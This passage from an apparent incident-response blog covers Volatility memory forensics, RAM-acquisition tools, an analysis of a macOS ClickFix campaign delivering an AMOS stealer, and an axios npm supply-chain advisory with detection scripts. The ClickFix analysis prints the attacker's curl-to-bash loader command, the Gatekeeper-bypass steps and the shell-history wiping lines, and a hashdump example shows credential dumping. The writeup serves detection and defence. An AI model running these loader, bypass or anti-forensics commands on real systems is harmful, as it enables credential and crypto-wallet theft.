      cmd: "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1180,5807443729157421817,599969772842496716,131072 --gpu-preferences=KAAAAAAAAADgAAAwAAAAAAAAYAAAAAAAEAAAAAAAAAAAAAAAAAAAACgAAAAEAAAAIAAAAAAAAAAoAAAAAAAAADAAAAAAAAAAOAAAAAAAAAAQAAAAAAAAAAAAAAAFAAAAEAAAAAAAAAAAAAAABgAAABAAAAAAAAAAAQAAAAUAAAAQAAAAAAAAAAEAAAAGAAAA --mojo-platform-channel-handle=1188 --ignored=" --type=renderer " /prefetch:2
      path: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
```

**getsids**

getsids identifies security identifiers (SIDs) associated with executed processes. This will enable you to find processes running as certain users and entities (such as service accounts).

```
$ python vol.py -f $mem --profile=Win7SP1x64_23418 getsids

WINWORD.EXE (3180): S-1-5-21-4288132831-552422005-3632184702-1000 (Warren)
WINWORD.EXE (3180): S-1-5-21-4288132831-552422005-3632184702-513 (Domain Users)
WINWORD.EXE (3180): S-1-1-0 (Everyone)
WINWORD.EXE (3180): S-1-5-114 (Local Account (Member of Administrators))
WINWORD.EXE (3180): S-1-5-32-544 (Administrators)
WINWORD.EXE (3180): S-1-5-32-545 (Users)
WINWORD.EXE (3180): S-1-5-4 (Interactive)
WINWORD.EXE (3180): S-1-2-1 (Console Logon (Users who are logged onto the physical console))
WINWORD.EXE (3180): S-1-5-11 (Authenticated Users)
WINWORD.EXE (3180): S-1-5-15 (This Organization)
WINWORD.EXE (3180): S-1-5-113 (Local Account)
WINWORD.EXE (3180): S-1-5-5-0-691206 (Logon Session)
WINWORD.EXE (3180): S-1-2-0 (Local (Users with the ability to log in locally))
WINWORD.EXE (3180): S-1-5-64-10 (NTLM Authentication)
WINWORD.EXE (3180): S-1-16-12288 (High Mandatory Level)
```

**hashdump**

You may be required to identify a password belonging to a certain account. Use the hashdump command to dump credentials either stored on, or cached on the system.

```
$ python vol.py -f $mem --profile=Win7SP1x64_23418 hashdump
Volatility Foundation Volatility Framework 2.6.1
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Warren:1000:aad3b435b51404eeaad3b435b51404ee:2aa81fb8c8cdfd8f420f7f94615036b0:::
```


# 3rd Party Plugins

Coming soon.


# Acquisition


# ESXi / VMware Workstation snapshots

Snapshots generate **.vmem** and **.vmsn** files

Suspended VMs commit memory to **.vmem** and **.vmss** files

These are both required in the operating directory when using Volatility for analysis.


# DumpIt

Since this article was originally published, Magnet Forensics has acquired [Comae ](https://www.magnetforensics.com/blog/magnet-forensics-acquires-cybersecurity-software-firm-comae-technologies/)and rebranded DumpIt. Magnet have also released a Linux variant of DumpIt (as an alternative to AVML). Source code is [available here](https://github.com/MagnetForensics/dumpit-linux).

I've compiled two versions of Linux DumpIt (one for amd64, one for WSL2), [available here](https://github.com/deeFIR/dumpit-linux/releases/tag/v0.1.0).

<figure><img src="/files/fVM00Iw74N5ldjQzJYHV" alt=""><figcaption></figcaption></figure>

Want to build it yourself?

<https://www.rust-lang.org/tools/install>

```
$ sudo apt install build-essential liblzma-dev
$ curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
$ git clone https://github.com/MagnetForensics/dumpit-linux.git
$ cd dumpit-linux
$ cargo build --release
$ cd target/release
```

**Original Post**

An incredibly lightweight and reliable tool is Comae's DumpIt. More information can be found on their [website](https://www.comae.com/dumpit/).

When you execute DumpIt.exe, unless specified, the destination will be the directoy from which it is executed. This is incredibly when conducting on-scene forensics. Executing DumpIt.exe from Windows Explorer, you'll be presented with the following dialogue.

![](/files/-MJQcei12PVkff_03u2f)

Upon completion, there will be a .dmp file in the directory, as well as a txt file containing information about the acquisition such as the machine name, UTC time of acquisition, and SHA256 hash of the dump file.

You can also specify an output location if you wish;

```
dumpit.exe /O C:\path\to\location
```

A 32GB memory acquisition took less than 6 minutes.

This dump file can be processed with Volatility (either 2.6.1 or 3 beta).

**Updated 11th June 2023** to reflect Comae's acquisition by Magnet Forensics, Linux variant of Dumpit, and link to GitHub for compiled versions of DumpIt (Linux)


# WinPMem

If you're not using an EDR or similar tool to streamline acquisition, consider using something like Belkasoft's RAM capture or WinPmem.

Official site; <https://winpmem.velocidex.com/>

From elevated command prompt;

```
C:\winver
(note Windows version and build version, example Windows 10 1909 18363
F:\>winpmem.exe -o Windows10_1909_18363.aff4 -dd

-o denotes output location
-dd denotes verbosity
```

Default is to acquire as AFF4 which is a compressed container.&#x20;

Reference;\
<https://schatzforensic.com/insideout/2017/03/aff4-standard-v1-0-released/>\
<https://github.com/aff4>\
<http://www2.aff4.org/>

```
unzip Windows10_1909_18363.aff4
Directory: F:\Windows10_1909_18363
C%3A
PhysicalMemory
container.description
information.turtle
version.txt
```

C3A contains system files and drivers acquired during memory acquisition (to support analysis)\
PhysicalMemory is the physical memory stream\
container.description contains AFF4 container GUID\
information.turtle contains AFF4 stream data (drivers, physical memory, etc)\
version.txt contains information relating to version of winpmem which was executed.


# Linux / AVML

Acquire AVML

```
$ wget https://github.com/microsoft/avml/releases/download/v0.2.0/avml
```

Make executable

```
$ chmod +x avml
```

Run AVML

```
$ ./avml
```

Identify kernel profile

```
$ uname -a
Linux syd 4.15.0-106-generic #107-Ubuntu SMP Thu Jun 4 11:27:52 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
```

```
$ cat /etc/*release

DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=18.04
DISTRIB_CODENAME=bionic
DISTRIB_DESCRIPTION="Ubuntu 18.04.4 LTS"
NAME="Ubuntu" VERSION="18.04.4 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.4 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" VERSION_CODENAME=bionic UBUNTU_CODENAME=bionic
```

Acquire memory with AVML (1GB memory took \~2 seconds)

```
$ sudo ./avml /path/to/dump/filename.mem
```

Acquire to remote location

```
$ sudo mount -o user=username -t cifs \\\\remotehost\\folder$ /mnt/point
./avml /mnt/point/memdump.mem
```

If you don't have a kernel profile/overlay for your specific kernel/build, [check out this post](/memory-forensics-1/volatility-plugins/build-custom-linux-profile-for-volatility).


# Another day, another ClickFix

## ClickFix on macOS: A Fake Captcha That Ends in a Go-Based AMOS Stealer

**Platform: macOS (Intel and Apple Silicon)**\
**Vector: fake reCAPTCHA / ClickFix**\
**Payload: Go AMOS fork (Poseidon/Odyssey lineage)**

***

### Background

ClickFix is social engineering, not an exploit. The attacker convinces the user to run a command themselves, so every control that assumes "the user would not paste a shell command into Terminal" is the control being bypassed.

This writeup walks the full chain end to end, from the injected JavaScript on a compromised website through to the final stealer, and gives you the indicators and hunts to find it in your own environment. The sample set is a Go-compiled stealer from the AMOS family. It injects into Electron wallet apps to phish recovery phrases directly.

***

### The Attack Chain

The campaign runs in three stages, plus a separate telemetry channel that beacons at every step.

1. **Stage 1, the lure.** Obfuscated JavaScript injected into a compromised site (WordPress, based on the admin-detection logic) renders a fake reCAPTCHA overlay. It only fires on real Macs. Clicking the checkbox writes a base64-wrapped shell command to the clipboard and shows localised instructions in 14 languages telling the user to open Terminal and paste it.
2. **Stage 2, the loader.** A bash script that fingerprints the CPU architecture, pulls the matching binary, strips quarantine, ad-hoc signs it to defeat Gatekeeper, runs it, wipes the last line of shell history, and reports each step home.
3. **Stage 3, the stealer.** A Go Mach-O (separate Intel and ARM builds) that dumps the keychain, raids browsers and around seventy wallet products, grabs developer and cloud credentials, and injects JavaScript into Electron wallet apps to steal seed phrases.

***

### Stage 1: The Fake Captcha

The injected script is obfuscated with the standard obfuscator.io string-array rotation. Once decoded, the logic is straightforward.

It gates hard on platform before doing anything:

```js
// Only continue on a genuine Mac. iOS and iPadOS-as-Mac are excluded.
isMac = /Macintosh/i.test(ua) && !(iOS || iPadOS-with-touch)
if (!isMac) return;
```

It also bails out for automation and for logged-in site admins, which is how it stays quiet on compromised hosts:

* `navigator.webdriver`, zero `navigator.languages`, or a headless user agent (`HeadlessChrome`, `PhantomJS`, `Puppeteer`, `Selenium`) all stop execution.
* A `wp-login.php?action=logout` link in the DOM means a logged-in WordPress admin is viewing the page, so it sets a suppression cookie and exits.
* A `?force=1` parameter overrides the gating, which is how the operators test it.

When the user clicks the checkbox, the script builds a command and writes it to the clipboard. Reconstructed, the inner command is:

```bash
export SRC_URL='<compromised page URL>' && \
(cd /tmp && curl -kfsSL "http://138.124.91[.]33/d8d2585e?force=1" -o .XXXXXX && bash .XXXXXX && rm -f .XXXXXX)
```

That command is then base64-encoded and wrapped so the clipboard string looks like a harmless "reCAPTCHA Verification ID." When pasted into Terminal it decodes and pipes to bash. The `SRC_URL` variable carries the source site forward to the next stage for affiliate tracking.

***

### Stage 2: The Loader

The downloaded second stage is a bash script, not a binary. It pads itself with dead functions and two base64 blobs that decode to bash no-ops, both designed to waste an analyst's time. The real behaviour:

It picks the payload by architecture:

```bash
# Apple Silicon
http://138.124.91[.]33/80d4db990b839?force=1
# Intel
http://138.124.91[.]33/77422b219b1040?force=1
```

It defeats Gatekeeper on the downloaded file before running it:

```bash
xattr -d com.apple.quarantine "$FILE"   # strip the quarantine flag
codesign --force --sign - "$FILE"       # ad-hoc self-sign so it runs unnotarised
```

It stages a copy under a name that blends in:

```
~/Library/Caches/com.apple.system/com.apple.update
```

This is a masquerade and staging location, not persistence in itself. No LaunchAgent plist is written here. Persistence is the stealer's job.

It then cleans up after the user:

```bash
sed -i '' '$d' "$HOME/.zsh_history"    # delete the last history line
sed -i '' '$d' "$HOME/.bash_history"   # i.e. remove the pasted ClickFix command
```

Every step beacons to a telemetry host that is separate from the download host:

```
http://147.45.43[.]209:8133/api/t
```

Beacon events seen: `loader_start`, `download_ok`, `exec_start`, `exec_ok`, `exec_fail`, `download_fail`, each carrying a random request id and the source URL.

***

### Stage 3: The Stealer

The final payload is a Go-compiled Mach-O, around 46 MB once you account for the Go runtime. This is not the lightweight C++ Atomic build. It matches the Poseidon/Odyssey branch of the AMOS family: Go compilation, PAM-based password validation, and an Electron injection module.

The imports map the capability cleanly. It links `libpam.2.dylib` to validate a captured password through PAM, the full `SecKeychain` set to dump the login keychain, and `NSPasteboard` to read the clipboard.

What it collects:

**Keychain and credentials.** Direct access to `login.keychain-db` via `SecKeychainOpen`, `SecKeychainUnlock`, `SecKeychainFindGenericPassword`, and `SecItemCopyMatching`, with PAM used to confirm the stolen user password is valid.

**Browsers.** Chrome, Brave, Edge, Firefox, and Opera GX. Cookies, history, Local Storage, `key4.db`, login data, autofill, and saved cards.

**Wallets.** Around seventy browser-extension and desktop wallets, including MetaMask, Phantom, Keplr, Exodus, Atomic, Electrum, Ledger Live, Trezor, OneKey, Coinomi, and many more, plus exchange references for Binance, Kraken, KuCoin, Bitget, Gate.io, Gemini, BitMEX, Phemex, CoinEx, and others.

**Developer and cloud credentials.** SSH keys, `.gnupg`, AWS, gcloud, `.npmrc`, `.netrc`, Vercel, Netlify, Railway, Heroku, Linode, Hetzner, Docker, `.pgpass`, rclone, Pulumi, Doppler, Conjur, Stripe, and crypto dev tooling like Foundry, Hardhat, Truffle, and Starkli.

**File grabber.** Scans user folders for files matching keywords such as `seed`, `privkey`, `pub_key`, `keyring`, `12words`, `24words`, `api_key`, `.env`, and `phrase`.

#### The part worth your attention: Electron wallet seed-phrase injection

This is what lifts the sample above a commodity stealer. It carries a JavaScript payload that it injects into Electron-based wallet desktop apps. The injected code:

* Forces `webPreferences.sandbox = false` in the preload so `require()` works inside the app.
* Disables the wallet's own auto-updater through its Redux store, for example `window.__TREZOR_STORE__.dispatch({ type: '@update/enable', payload: { enabled: false } })`, so the tampered app is not repaired by an update.
* Renders a fake "critical security update" or "data integrity error" dialog, in multiple languages, telling the user to re-enter their recovery phrase to "verify wallet integrity."
* Validates the entered phrase against the bip39 checksum, then exfiltrates it.
* Hooks a clipboard paste handler to auto-fill seed fields.

Named targets are Trezor Suite, Ledger Live, Exodus, and Atomic. The exfiltrated artefacts are written with obvious names: `TrezorSeed.txt`, `LedgerSeed.txt`, `AtomicPassword.txt`, `ExodusPassword.txt`, `ExodusSeedEncrypted.txt`, `AtomicWalletData.txt`.

Read that sequence again. The malware does not guess your seed. It asks for it, inside the real wallet window, behind a dialog that says the phrase is "verified locally and never sent to our servers." Legitimate wallet software never asks you to type your recovery phrase back to it for a security check.

#### Persistence and evasion

Persistence is a LaunchAgent plist, re-signed with `codesign --deep --sign -`. Anti-analysis checks `hw.model` for virtualisation and the username for `analyst`, `malware`, and `sandbox`. The downloaded binary itself is unsigned: the ad-hoc signature is applied on the victim host by the stage 2 loader, so there is no code-signing identity to pivot on from the sample.

#### Where it exfiltrates

The stealer talks over a WebSocket to `wss://<host>/api/t`. The host is supplied at runtime from a config struct (`C2Ip`, `C2Ept`), so it is not a plaintext string in the binary. The `/api/t` path is shared with the stage 2 telemetry host `147.45.43.209:8133`, which ties the two together. Confirming the live exfil host needs dynamic detonation or config extraction.

***

### Indicators of Compromise

<table><thead><tr><th width="170">Type</th><th width="294">Indicator</th><th>Notes</th></tr></thead><tbody><tr><td>Distribution host</td><td><code>138.124.91[.]33</code></td><td>Serves stages 1, 2, and 3 over plain HTTP</td></tr><tr><td>Stage 1 URL</td><td><code>http://138.124.91[.]33/xxxxxxxx?force=1</code></td><td>Clipboard command target</td></tr><tr><td>Stage 3 URL (ARM)</td><td><code>http://138.124.91[.]33/xxxxxxxx?force=1</code></td><td>Apple Silicon build</td></tr><tr><td>Stage 3 URL (Intel)</td><td><code>http://138.124.91[.]33/77422b219b1040?force=1</code></td><td>Intel build</td></tr><tr><td>Telemetry / C2</td><td><code>http://147.45.43[.]209:8133/api/t</code></td><td>Loader beacons; shares path with stealer exfil</td></tr><tr><td>Stealer exfil</td><td><code>wss://&#x3C;host>/api/t</code></td><td>Host is runtime config, not plaintext</td></tr><tr><td>Geolocation lookup</td><td>ip-api, ipinfo, ipwhois</td><td>Outbound from a non-browser process is suspicious</td></tr><tr><td>Dropped file (temp)</td><td><code>/tmp/.&#x3C;6 random chars></code></td><td>Hidden, executed then deleted</td></tr><tr><td>Staged binary</td><td><code>~/Library/Caches/com.apple.system/com.apple.update</code></td><td>Masquerade location</td></tr><tr><td>Marker file</td><td><code>/var/db/.4743c531</code></td><td>Infection or sandbox sentinel</td></tr><tr><td>Persistence</td><td>LaunchAgent plist, short or random label, <code>RunAtLoad</code></td><td>Re-signed with <code>codesign --deep --sign -</code></td></tr><tr><td>Gatekeeper bypass</td><td><code>xattr -d com.apple.quarantine</code> + <code>codesign --force --sign -</code></td><td>On a freshly written file</td></tr><tr><td>Anti-forensics</td><td><code>sed -i '' '$d'</code> on <code>.zsh_history</code> and <code>.bash_history</code></td><td>Removes the pasted command</td></tr><tr><td>Seed exfil files</td><td><code>TrezorSeed.txt</code>, <code>LedgerSeed.txt</code>, <code>AtomicPassword.txt</code>, <code>ExodusPassword.txt</code>, <code>ExodusSeedEncrypted.txt</code>, <code>AtomicWalletData.txt</code></td><td>From the Electron inject</td></tr><tr><td>Campaign markers</td><td><code>af92109bfa41a94c</code>, <code>2f6e6abf141d825d</code></td><td>Embedded build tags (execute as no-ops)</td></tr><tr><td>SHA-256 (Intel)</td><td><code>d6e5884827cc92b023add3c28383f02b1fa2f4e0392062765c3089914477d13c</code></td><td><code>stage3_x86.bin</code></td></tr><tr><td>MD5 (Intel)</td><td><code>190f79f7f4ebd642a705d59f59f0b6b6</code></td><td><code>stage3_x86.bin</code></td></tr><tr><td>SHA-256 (ARM)</td><td>record locally from <code>stage3_arm64.bin</code></td><td>Hash the slice you retrieve</td></tr></tbody></table>

***

### Detection and Hunting

**Endpoint process chains.** The strongest signals sit in the parent-child relationships, not any single process:

```
# Terminal or a shell spawning curl to the distribution host
Terminal/bash/zsh  ->  curl  ->  138.124.91.33

# Execution of the staged masquerade binary
exec of ~/Library/Caches/com.apple.system/com.apple.update

# Gatekeeper bypass on a just-written file
codesign --force --sign -   AND   xattr -d com.apple.quarantine

# History tampering right after a shell command
sed -i '' '$d' on ~/.zsh_history or ~/.bash_history
```

**Network.** Block and alert on egress to `138.124.91[.]33` and `147.45.43[.]209:8133`. Both are raw HTTP to a bare IP, so look in flow and connection logs, not DNS. Flag WebSocket connections to a `/api/t` path. Treat ip-api, ipinfo, and ipwhois lookups from non-browser processes as a weak signal worth correlating.

**Electron tampering.** Hunt for modified wallet application bundles: a preload or `asar` carrying `sandbox: false`, integrity check failures in Trezor Suite, Ledger Live, Exodus, or Atomic, and any wallet showing an unexpected `disableUpdate` flag.

**Filesystem.** New LaunchAgent plists with short or random labels and `RunAtLoad`, the marker file `/var/db/.4743c531`, and any binary staged under `~/Library/Caches/com.apple.system/`.

***

### What to Tell Your Users

The technical detections above will catch what reaches the endpoint. The cheaper control is the one that stops stage 1 cold, and it is a single sentence your users can remember.

A real captcha never asks you to open Terminal, paste anything, or press Command and Return to prove you are human. If a website gives you those instructions, close the tab. If you have already pasted and run a command from a "verification" page, treat the machine as compromised, rotate every credential and seed phrase from a clean device, and raise it with your security team.

The wallet angle deserves a second sentence. No legitimate wallet, hardware or software, will ever ask you to type your recovery phrase back into the app for a "security update" or an "integrity check." That prompt is theft, even when it appears inside the genuine application window.

***


# Axios npm Supply Chain Attack

On 31st March 2026, two malicious versions of the axios HTTP client library were published to the npm registry: `axios@1.14.1` and `axios@0.30.4`. Axios has in excess of 83 million weekly downloads, making it one of the most widely used packages in the JavaScript ecosystem.

This article covers the attack, what it does, how to determine whether your environment is affected, and how to scan container images at scale, including images stored as tar archives.

***

### The Attack

The malicious versions were published using the compromised npm credentials of the lead axios maintainer. The attacker changed the account email to an anonymous ProtonMail address and published both versions directly via the npm CLI, bypassing the project's normal GitHub Actions pipeline entirely.

Both versions inject a new dependency `plain-crypto-js@4.2.1` which is not referenced anywhere in the legitimate axios source. Its sole purpose is to execute a `postinstall` script that acts as a cross-platform RAT dropper, targeting macOS, Windows, and Linux. After execution, the malware deletes itself and replaces its own `package.json` with a clean copy to hinder detection efforts and forensic analysis.

A clean decoy version (`plain-crypto-js@4.2.0`) was published approximately 18 hours prior to avoid triggering "brand-new package" alerts from security scanners. Both malicious axios versions were published within 39 minutes of each other.

Socket's automated detection flagged the malicious package within six minutes of publication. Both versions have since been removed from the npm registry.

***

### Does This Affect Browser/CDN Usage?

The attack relies entirely on npm's `postinstall` lifecycle hook which is a Node.js-specific mechanism that executes shell commands on the installing machine. If you are loading axios via a CDN such as unpkg, none of this executes. The browser fetches the JavaScript bundle directly so the  lifecycle scripts never run.

Based on current analysis, the malicious code resided within the `plain-crypto-js` dependency, not within the axios bundle itself. End users loading axios via `https://unpkg.com/axios@1.14.1/dist/axios.min.js` are not at risk from this specific attack.

The target was developer machines and CI/CD pipelines and not end users.

***

### Indicators of Compromise

| Indicator                                                   | Significance                                      |
| ----------------------------------------------------------- | ------------------------------------------------- |
| `axios@1.14.1` or `axios@0.30.4` in `node_modules`          | Vulnerable version installed                      |
| `plain-crypto-js` directory present anywhere on disk        | Strong IOC - no legitimate use case               |
| `package-lock.json` resolving axios to `1.14.1` or `0.30.4` | Malicious version was pulled during `npm install` |
| Outbound connections to `sfrclak[.]com`                     | C2 contact - assume active compromise             |

The removal of the package from the npm registry means `npm audit` and most vulnerability scanners will not flag this. The CVE has not yet landed in databases such as Trivy's at time of writing. Manual inspection is currently the most reliable detection method.

***

### Immediate Remediation

Pin axios to a known safe version:

```bash
npm install axios@1.14.0
```

If `plain-crypto-js` is found on any system, treat it as fully compromised. Rotate all secrets, API keys, and credentials accessible from that environment. Review outbound network connections for contact with `sfrclak[.]com`.

CI/CD pipelines that ran during the window the packages were live (approximately 23:59–02:00 UTC, 31st March) warrant particular attention, as any secrets present in those environments may have been exfiltrated.

***

### Scanning Docker Images

Given the npm registry removal, tooling which relies on a vulnerability database may not detect this. The following approaches work regardless of database state.

#### Locally Running Images (via Docker Socket)

The following script iterates all locally available Docker images, scanning each for the vulnerable axios versions and the `plain-crypto-js` IOC.

```bash
#!/bin/bash
VULN_AXIOS=("1.14.1" "0.30.4")
RED='\033[0;31m'
GREEN='\033[0;32m'
NC='\033[0m'

for image in $(docker images --format "{{.Repository}}:{{.Tag}}" | grep -v "<none>"); do
  echo -e "\n🔍 Scanning: $image"

  axios_ver=$(docker run --rm --entrypoint="" "$image" \
    sh -c 'find / -path /proc -prune -o -path /sys -prune -o \
    -name "package.json" -print 2>/dev/null | \
    xargs grep -l "\"name\": \"axios\"" 2>/dev/null | \
    xargs grep -h "\"version\"" 2>/dev/null | \
    grep -o "[0-9]\+\.[0-9]\+\.[0-9]\+" | head -1' 2>/dev/null)

  crypto=$(docker run --rm --entrypoint="" "$image" \
    sh -c 'find / -path /proc -prune -o -type d \
    -name "plain-crypto-js" -print 2>/dev/null' 2>/dev/null)

  if [ -n "$crypto" ]; then
    echo -e "${RED}🚨 CRITICAL: plain-crypto-js found in $image${NC}"
  elif [ -n "$axios_ver" ]; then
    for vuln in "${VULN_AXIOS[@]}"; do
      if [ "$axios_ver" = "$vuln" ]; then
        echo -e "${RED}🚨 VULNERABLE: axios@$axios_ver found in $image${NC}"
        break
      fi
    done
    [[ ! " ${VULN_AXIOS[@]} " =~ " ${axios_ver} " ]] && \
      echo -e "${GREEN}✅ OK: axios@$axios_ver${NC}"
  else
    echo -e "${GREEN}✅ No axios found${NC}"
  fi
done
```

#### Scanning Image Tar Archives (OCI Format)

Images exported via `docker save` or pulled from a registry in OCI format follow this structure:

```
images.tar
└── blobs/sha256/
    ├── <hash>   JSON (manifest or config)
    ├── <hash>   POSIX tar archive (layer)
    └── <hash>   POSIX tar archive (layer)
```

Each layer blob is itself a tar archive containing the filesystem for that layer. The script below handles this two-level structure which extracts the outer tar, identify layer blobs using `file`, then streams `package.json` contents directly from each layer without secondary extraction to disk.

```bash
#!/bin/bash
# Usage: ./scan_axios.sh images.tar

TAR_FILE="${1}"
VULN_AXIOS=("1.14.1" "0.30.4")
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'

if [ -z "$TAR_FILE" ] || [ ! -f "$TAR_FILE" ]; then
  echo "Usage: $0 <images.tar>"
  exit 1
fi

echo "============================================================"
echo " Axios Supply Chain Scanner"
echo " Target: $TAR_FILE"
echo " $(date -u)"
echo "============================================================"

TMPDIR=$(mktemp -d)
trap "rm -rf $TMPDIR" EXIT

echo "Extracting $TAR_FILE..."
tar -xf "$TAR_FILE" -C "$TMPDIR" 2>/dev/null

BLOB_DIR="$TMPDIR/blobs/sha256"

if [ ! -d "$BLOB_DIR" ]; then
  echo "❌ No blobs/sha256 directory found — is this an OCI format tar?"
  exit 1
fi

for blob in "$BLOB_DIR"/*; do
  # Skip JSON blobs (manifests and configs)
  file "$blob" | grep -q "JSON" && continue
  file "$blob" | grep -q "tar archive" || continue

  echo -e "\n🔍 Layer: $(basename $blob | cut -c1-12)..."

  # Check for axios own package.json
  axios_path=$(tar -tf "$blob" 2>/dev/null | grep "node_modules/axios/package\.json$" | head -1)

  if [ -n "$axios_path" ]; then
    version=$(tar -xOf "$blob" "$axios_path" 2>/dev/null | python3 -c "
import json, sys
try:
    d = json.load(sys.stdin)
    if d.get('name') == 'axios':
        print(d.get('version','unknown'))
except: pass
")
    if [ -n "$version" ]; then
      vuln_match=false
      for vuln in "${VULN_AXIOS[@]}"; do
        if [ "$version" = "$vuln" ]; then
          echo -e "  ${RED}🚨 VULNERABLE: axios@$version${NC}"
          vuln_match=true
          break
        fi
      done
      [ "$vuln_match" = false ] && echo -e "  ${GREEN}✅ OK: axios@$version${NC}"
    fi
  fi

  # Check parent package.json files for axios as a declared dependency
  while IFS= read -r pkgjson; do
    echo "$pkgjson" | grep -q "node_modules/axios/package\.json" && continue
    result=$(tar -xOf "$blob" "$pkgjson" 2>/dev/null | python3 -c "
import json, sys
try:
    d = json.load(sys.stdin)
    deps = {}
    deps.update(d.get('dependencies', {}))
    deps.update(d.get('devDependencies', {}))
    if 'axios' in deps:
        print(deps['axios'])
except: pass
")
    [ -n "$result" ] && echo -e "  ${YELLOW}⚠️  package.json declares axios: $result ($pkgjson)${NC}"
  done < <(tar -tf "$blob" 2>/dev/null | grep "package\.json$")

  # Check package-lock.json for resolved version
  while IFS= read -r lockfile; do
    result=$(tar -xOf "$blob" "$lockfile" 2>/dev/null | python3 -c "
import json, sys
try:
    d = json.load(sys.stdin)
    packages = d.get('packages', {})
    for name, info in packages.items():
        if name.endswith('/axios') or name == 'axios':
            print(info.get('version',''))
    deps = d.get('dependencies', {})
    if 'axios' in deps:
        print(deps['axios'].get('version',''))
except: pass
")
    if [ -n "$result" ]; then
      for vuln in "${VULN_AXIOS[@]}"; do
        if [ "$result" = "$vuln" ]; then
          echo -e "  ${RED}🚨 VULNERABLE: package-lock.json resolved axios@$result${NC}"
          break
        fi
      done
    fi
  done < <(tar -tf "$blob" 2>/dev/null | grep "package-lock\.json$")

  # plain-crypto-js — strongest IOC
  crypto=$(tar -tf "$blob" 2>/dev/null | grep "plain-crypto-js" | head -1)
  if [ -n "$crypto" ]; then
    echo -e "  ${RED}🚨 CRITICAL: plain-crypto-js found — assume compromised${NC}"
    echo "     → $crypto"
  fi

done

echo -e "\n============================================================"
echo "Scan complete."
```

Run it against any OCI image tar:

```bash
chmod +x scan_axios.sh
./scan_axios.sh images.tar
```

### Using Trivy

Trivy can scan image tars directly without requiring Docker to be running, which avoids socket permission issues:

```bash
trivy image --input images.tar
```

As noted, the CVE is unlikely to be in Trivy's database yet. To inspect package versions regardless of database state, use the JSON output:

```bash
trivy image --input images.tar --format json | python3 -c "
import json, sys
VULN = {'1.14.1', '0.30.4'}
data = json.load(sys.stdin)
for result in data.get('Results', []):
    for pkg in result.get('Packages', []):
        if pkg.get('Name','').lower() == 'axios':
            version = pkg.get('Version','unknown')
            flag = '🚨 VULNERABLE' if version in VULN else '✅ OK'
            print(f'{flag}: axios@{version}')
"
```

For use in a pipeline where you need an exit code:

```bash
trivy image --format json $IMAGE_NAME | python3 -c "
import json, sys
VULN = {'1.14.1', '0.30.4'}
data = json.load(sys.stdin)
hits = [
    f\"{pkg['Name']}@{pkg['Version']}\"
    for r in data.get('Results',[])
    for pkg in r.get('Packages',[])
    if pkg.get('Name','').lower() == 'axios' and pkg.get('Version') in VULN
]
if hits:
    print('VULNERABLE:', ', '.join(hits))
    sys.exit(1)
print('OK')
sys.exit(0)
"
```

Trivy also supports generating a full SBOM, which provides a complete package inventory independent of any vulnerability database:

```bash
trivy image --input images.tar --format cyclonedx --output sbom.json
grep -i axios sbom.json
```

***

### Output from Trivy Script

```
============================================================
 Axios Supply Chain Scanner
 Target: image1.tar
 Tue Mar 31 09:34:14 AM UTC 2026
============================================================
Extracting image1.tar...

🔍 Layer: 4436891c77b5...
🔍 Layer: 466f2827c5d1...
🔍 Layer: 52caa5bd1d9d...
🔍 Layer: 5906df279b58...
🔍 Layer: 989e799e6349...
🔍 Layer: bddea6620312...
  ✅ OK: axios@1.14.0
  ⚠️  package.json declares axios: ^1.14.1 (app/package.json)
  🚨 VULNERABLE: package-lock.json resolved axios@1.14.1
```

### Output from Trivy (scanning Docker socket directly)

```
$ trivy image axios:vuln1 --format cyclonedx --output sbom.json
2026-03-31T09:38:21Z    INFO    "--format cyclonedx" disables security scanning. Specify "--scanners vuln" explicitly if you want to include vulnerabilities in the "cyclonedx" report.
2026-03-31T09:38:23Z    INFO    Detected OS     family="alpine" version="3.23.3"
2026-03-31T09:38:23Z    INFO    Number of language-specific files       num=1
$ cat sbom.json | grep axios
      "name": "axios:vuln1",
          "value": "axios:vuln1"
          "value": "axios:vuln1"
      "bom-ref": "pkg:npm/axios@1.14.1",
      "name": "axios",
      "purl": "pkg:npm/axios@1.14.1",
          "value": "app/node_modules/axios/package.json"
          "value": "axios@1.14.1"
        "pkg:npm/axios@1.14.1",
      "ref": "pkg:npm/axios@1.14.1",
```

### Summary

The npm registry removal creates a false sense of safety. Standard tooling will not flag this. If your environment runs Node.js-based containers, or your CI/CD pipeline installs npm packages, manual inspection using the methods above is currently the most reliable approach.

The presence of `plain-crypto-js` anywhere on disk, in any layer of any image, should be treated as a confirmed compromise regardless of the axios version reported.

If you need a test image to validate your detection logic, feel free to reach out (contact details on contact page).

## References / IOCs / Further Reading

<https://www.wiz.io/blog/axios-npm-compromised-in-supply-chain-attack>\
<https://www.aikido.dev/blog/axios-npm-compromised-maintainer-hijacked-rat>\
<https://thehackernews.com/2026/03/axios-supply-chain-attack-pushes-cross.html>\
<https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan>


# Following the Trail of Malicious JavaScript

Magecart and similar web-skimming groups have turned e-commerce platforms like Magento and WordPress into prime hunting grounds. Obfuscated JavaScript is their weapon of choice, quietly injected into checkout pages to steal payment details in real time. These scripts rarely appear obvious as they hide behind layers of encoding, string manipulation, and dynamic execution, making them difficult to spot.

In this post, we'll walk through how these scripts work, how to examine their obfuscation with tools like CyberChef using our custom sandbox and analysis environment, and how to recognise the tell-tale patterns that reveal a skimmer hiding in plain sight.

We'll compare two attack flows/techniques, with website 1 involving code embedded directly on the site, whereas website 2 is a little stealthier and code is hosted on legitimate infrastructure (Google)

## Website 1 - Malicious JavaScript embedded directly into the page

